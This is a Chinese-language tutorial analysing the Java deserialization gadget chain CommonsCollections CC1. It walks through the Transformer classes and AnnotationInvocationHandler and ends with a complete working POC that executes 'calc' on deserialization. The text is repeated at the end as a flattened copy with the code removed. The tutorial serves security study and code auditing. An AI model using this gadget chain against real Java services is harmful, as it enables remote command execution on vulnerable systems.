Java反序列化之CommonsCollections CC1链分析
字数 1474 2025-08-10 08:28:04

Java反序列化漏洞分析:CommonsCollections CC1链详解

前言

CC链(CommonsCollections链)是Java反序列化漏洞研究的经典案例,非常适合作为Java代码审计的入门学习内容。本教程将详细分析CC1链的完整利用过程,帮助理解Java反序列化漏洞的原理和利用方式。

环境准备

  1. JDK版本:必须使用JDK 8u版本,高版本JDK可能导致执行流程不一致

    • 下载地址:https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
  2. sun包源码:需要获取sun包的源码以便调试

    • 下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
    • 将下载的sun目录拷贝到JRE安装目录
  3. 依赖库:commons-collections 3.2.1版本

    • 添加到项目依赖中

基础知识

目标执行代码

最终目标是执行以下代码:

Runtime.getRuntime().exec("calc");

反射调用方式

通过反射可以实现相同的功能:

Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc");

核心组件分析

InvokerTransformer类

InvokerTransformer实现了Transformer接口,关键特性:

  1. 构造函数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}
  1. transform方法
public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var4) {
            throw new FunctorException(...);
        } catch (IllegalAccessException var5) {
            throw new FunctorException(...);
        } catch (InvocationTargetException var6) {
            throw new FunctorException(...);
        }
    }
}

利用方式:

Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

TransformedMap类

TransformedMap提供了对Map的装饰功能,关键点:

  1. decorate方法
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}
  1. checkSetValue方法
protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

ChainedTransformer类

实现多个Transformer的链式调用:

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }
    return object;
}

ConstantTransformer类

总是返回固定值的Transformer:

public Object transform(Object input) {
    return this.iConstant;
}

完整利用链构建

1. 构造Transformer链

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, null}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

2. 构造TransformedMap

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "bbb");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

3. 利用AnnotationInvocationHandler

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Target.class, transformedMap);

4. 序列化与反序列化触发

// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);

// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();

关键点解析

为什么使用Target注解

Target注解有一个value()方法,这使得在AnnotationInvocationHandlerreadObject方法中:

Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// ...
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {  // 这里需要不为null才能进入
    // ...
    memberValue.setValue(...);
}

使用Target注解并设置map的key为"value",可以确保memberType不为null,从而进入setValue分支。

执行流程

  1. 反序列化AnnotationInvocationHandler对象
  2. 调用其readObject方法
  3. 遍历memberValues(即我们的transformedMap)
  4. 调用setValue方法
  5. 触发TransformedMap.checkSetValue
  6. 调用ChainedTransformer.transform
  7. 通过一系列反射调用最终执行命令

完整POC代码

package com.aqn.core;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class POC {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, null}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc"})
        };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "bbb");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
        
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, transformedMap);
        
        serialize(o);
        unserialize("ser.bin");
    }
    
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }
}

总结

CC1链利用的关键点:

  1. InvokerTransformer的任意方法反射调用能力
  2. TransformedMap在setValue时的自动transform机制
  3. AnnotationInvocationHandler在反序列化时自动遍历Map的特性
  4. ChainedTransformer的链式调用能力
  5. 使用Target注解确保进入setValue分支

通过精心构造的Transformer链和Map对象,结合Java反序列化机制,最终实现了任意命令执行。理解这个漏洞需要对Java反射、集合框架和序列化机制有深入的理解。

Java反序列化漏洞分析:CommonsCollections CC1链详解 前言 CC链(CommonsCollections链)是Java反序列化漏洞研究的经典案例,非常适合作为Java代码审计的入门学习内容。本教程将详细分析CC1链的完整利用过程,帮助理解Java反序列化漏洞的原理和利用方式。 环境准备 JDK版本 :必须使用JDK 8u版本,高版本JDK可能导致执行流程不一致 下载地址:https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html sun包源码 :需要获取sun包的源码以便调试 下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip 将下载的sun目录拷贝到JRE安装目录 依赖库 :commons-collections 3.2.1版本 添加到项目依赖中 基础知识 目标执行代码 最终目标是执行以下代码: 反射调用方式 通过反射可以实现相同的功能: 核心组件分析 InvokerTransformer类 InvokerTransformer 实现了 Transformer 接口,关键特性: 构造函数 : transform方法 : 利用方式: TransformedMap类 TransformedMap 提供了对Map的装饰功能,关键点: decorate方法 : checkSetValue方法 : ChainedTransformer类 实现多个Transformer的链式调用: ConstantTransformer类 总是返回固定值的Transformer: 完整利用链构建 1. 构造Transformer链 2. 构造TransformedMap 3. 利用AnnotationInvocationHandler 4. 序列化与反序列化触发 关键点解析 为什么使用Target注解 Target 注解有一个 value() 方法,这使得在 AnnotationInvocationHandler 的 readObject 方法中: 使用 Target 注解并设置map的key为"value",可以确保 memberType 不为null,从而进入setValue分支。 执行流程 反序列化 AnnotationInvocationHandler 对象 调用其 readObject 方法 遍历 memberValues (即我们的 transformedMap ) 调用 setValue 方法 触发 TransformedMap.checkSetValue 调用 ChainedTransformer.transform 通过一系列反射调用最终执行命令 完整POC代码 总结 CC1链利用的关键点: InvokerTransformer 的任意方法反射调用能力 TransformedMap 在setValue时的自动transform机制 AnnotationInvocationHandler 在反序列化时自动遍历Map的特性 ChainedTransformer 的链式调用能力 使用 Target注解 确保进入setValue分支 通过精心构造的Transformer链和Map对象,结合Java反序列化机制,最终实现了任意命令执行。理解这个漏洞需要对Java反射、集合框架和序列化机制有深入的理解。